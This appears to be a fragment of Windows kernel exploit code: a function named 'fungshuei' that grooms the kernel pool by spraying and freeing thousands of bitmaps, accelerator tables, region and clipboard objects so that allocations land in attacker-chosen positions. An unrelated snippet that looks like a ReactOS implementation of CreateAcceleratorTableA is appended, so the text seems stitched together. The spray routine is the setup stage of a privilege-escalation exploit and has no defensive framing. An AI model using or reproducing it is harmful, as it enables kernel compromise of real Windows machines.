void fungshuei() { HBITMAP bmp; // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. for (int k = 0; k < 5000; k++) { //bmp = CreateBitmap(1685, 2, 1, 8, NULL); //800 = 0x8b0 820 = 0x8e0 1730 = 0x1000 1700 = 0xfc0 1670 = 0xf70 bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1680 = 0xf80 1685 = 0xf90 allocation size 0xfa0 bitmaps[k] = bmp; } HACCEL hAccel, hAccel2; LPACCEL lpAccel; // Initial setup for pool fengshui. lpAccel = (LPACCEL)malloc(sizeof(ACCEL)); SecureZeroMemory(lpAccel, sizeof(ACCEL)); // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); for (INT i = 0; i < 7000; i++) { hAccel = CreateAcceleratorTableA(lpAccel, 1); hAccel2 = CreateAcceleratorTableW(lpAccel, 1); pAccels[i] = hAccel; pAccels2[i] = hAccel2; } // Delete the allocated bitmaps to free space at beiginig of pages for (int k = 0; k < 5000; k++) { DeleteObject(bitmaps[k]); } //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. for (int k = 0; k < 5000; k++) { CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 } // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0 bitmaps[k] = bmp; } // Allocate 17500 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 for (int k = 0; k < 1700; k++) { //1500 AllocateClipBoard2(0x30); } // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. for (int k = 2000; k < 4000; k++) { DestroyAcceleratorTable(pAccels[k]); DestroyAcceleratorTable(pAccels2[k]); } }
/* * @implemented */ HACCEL WINAPI CreateAcceleratorTableA(LPACCEL lpaccl, int cEntries) { int i; if (!cEntries || !lpaccl) return (HACCEL)0; for(i = 0; i < cEntries; ++ i) if(!lpaccl[i].fVirt) { NTSTATUS nErrCode = RtlMultiByteToUnicodeN ( (PWCHAR)&lpaccl[i].key, sizeof(lpaccl[i].key), NULL, (PCHAR)&lpaccl[i].key, sizeof(lpaccl[i].key) ); if(!NT_SUCCESS(nErrCode)) lpaccl[i].key = -1; } return CreateAcceleratorTableW(lpaccl, cEntries); }